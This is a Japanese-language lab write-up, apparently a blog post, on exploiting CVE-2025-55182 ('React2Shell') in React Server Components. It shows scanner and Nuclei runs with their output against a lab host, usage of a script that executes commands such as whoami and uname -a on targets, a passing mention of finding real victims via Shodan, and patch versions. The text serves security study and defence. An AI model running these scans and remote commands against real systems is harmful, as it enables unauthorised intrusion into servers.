React2Shell（CVE-2025-55182）のエクスプロイトシミュレーション

注意:

• このドキュメントは学習およびセキュリティ研究目的のみです。
• 許可なくシステムを攻撃するために使用しないでください。

1. 概要

CVE-2025-55182は、React2Shellとも呼ばれ、React Server Components（RSC）に影響を与える深刻なリモートコード実行（RCE）脆弱性です。これは、Flightプロトコルを使用してクライアントとサーバー間で通信します。クライアントがデータを要求すると、サーバーはペイロードを受信し、それを解析します。これにより、攻撃者が悪意のある構造や任意のコードスニペットを注入し、Reactが有効と受け入れる可能性があります。

2. 原因

サーバーはクライアントからのペイロードを適切に検証せずに処理するため、攻撃者は以下を実行できます。

• 悪意のあるペイロードの注入
• サーバー上でのコード実行
• 認証前の脆弱性であるため、ユーザー認証なしでのエクスプロイト

この脆弱性に関するエクスプロイト活動は2025年12月5日から確認されています。成功したエクスプロイトのほとんどは、攻撃グループによる評価に起因しています。Windows環境とLinux環境の両方が影響を受けます。

3. 実験

インストール

pip install -r requirements.txt

脆弱なサーバーをスキャン:

python3 scanner.py -u https://example.com

スキャンするパスを入力（ここでは自身の脆弱なマシン http://192.168.10.1:3000 を入力）

取得結果:

╰─ python3 scanner.py -u http://192.168.10.1:3000             

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[VULNERABLE] http://192.168.10.1:3000 - Status: 303

さらに、エクスプロイトの目的に応じてスキャンすることも可能:

ホストリストのスキャン:

python3 scanner.py -l hosts.txt

マルチスレッドでスキャンし、結果を保存:

python3 scanner.py -l hosts.txt -t 20 -o results.json

カスタムヘッダーでのスキャン:

python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"

Windowsターゲットのスキャン:

python3 scanner.py -u https://example.com --windows

安全なサイドチャネル検出方法の使用:

python3 scanner.py -u https://example.com --safe-check

ご覧のとおり、セキュリティ脆弱性が発生しています。つまり、提供するサーバーが攻撃者に対して脆弱であることを意味します。

Nuclei

ここでNucleiを使用して、対象サーバーにPOCがある脆弱性が含まれているかどうかを確認します。この機能は、カスタムリクエストを送信し、誤検知を最小限に抑え、並列スキャンをサポートすることで動作します。

nuclei -t scan.yaml -u http://192.168.10.1:3000

取得結果

[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.

システムはこのサーバーが脆弱であり、CVE-2025-55182の脆弱性によってエクスプロイト可能であることを検出しました。そして、ソーシャルプラットフォーム上に多数のPOCが存在する、かなり危険で重要な脆弱性であることがわかります。 ☺☺☺

4. エクスプロイト方法

この情報だけで、アプリケーションにセキュリティ脆弱性が存在することを確認するのに十分です。このアプリケーションが悪用されてリモートでコマンドやコードが実行される可能性があることを証明するために、PoCを開始します。

chmod +x scanner.sh

使用方法

# 対象が脆弱かどうかを確認
./datscan.sh -d example.com

# 現在のユーザーを確認するコマンドを実行
./datscan.sh -d example.com -c "whoami"

# 完全なURLを使用
./datscan.sh -d example.com -c "uname -a"

意味:

サーバープロセスを実行している現在のユーザーを返します

これにより以下を特定できます:

• アプリケーションがどのユーザー権限で実行されているか
• 権限レベル（低権限か管理者か）

=> RCEが成功したことを確認するための最も基本的なコマンドです。

Note

• -d, --domain - ドメイン/URL
• -c, --command - 実行するコマンド（例: whoami, hostname,...）

例

# ホスト名を確認
./datscan.sh -d http://192.168.10.1:3000/ -c hostname  

# オペレーティングシステムのバージョンを確認
./datscan.sh -d http://192.168.10.1:3000/ -c ver 

# コマンド実行が安定して動作するか確認
./datscan.sh -c "echo test"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"

./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"

実行後のイメージ

これはエクスプロイト成功後の初期調査のステップです。

RCEが動作していること、OSの特定などを確認できます。

注意

この実験は、法的な問題を避けるために個人のラボ環境でデモを行っています。そのため、HTTPヘッダーを使用したデータの盗み出し、大規模な出力、特殊文字などは以下の問題を引き起こす可能性があります:

• ERR_INVALID_CHAR
• 応答の減少
• タイムアウト

短いコマンド（例: whoami、ver）は、テスト環境でのデモンストレーションにおいてより信頼性があります。

もし望むなら、Shodanを使用して実際の環境のIPアドレスを直接確認し、上記の実験と同様にエクスプロイトすることも可能ですが（推奨しません）。

前述したように、このツールは教育および許可されたセキュリティテストの目的のみです。所有していない、またはテスト権限のないシステムでこのツールを使用しないでください。

5. 脆弱性の修正方法

• クライアントからのデータを信頼しない
• 入力を厳密に検証する
• バージョンの更新
  • React: >= 19.0.1 / 19.1.2 / 19.2.1
  • Next.js: >= 15.0.5 / 16.0.7

6. 参考資料

• CVE-2025-55182 – https://nvd.nist.gov/vuln/detail/CVE-2025-55182
• CVE-2025-55182 - https://www.dynatrace.com/news/blog/cve-2025-55182-react2shell-critical-vulnerability-what-it-is-and-what-to-do/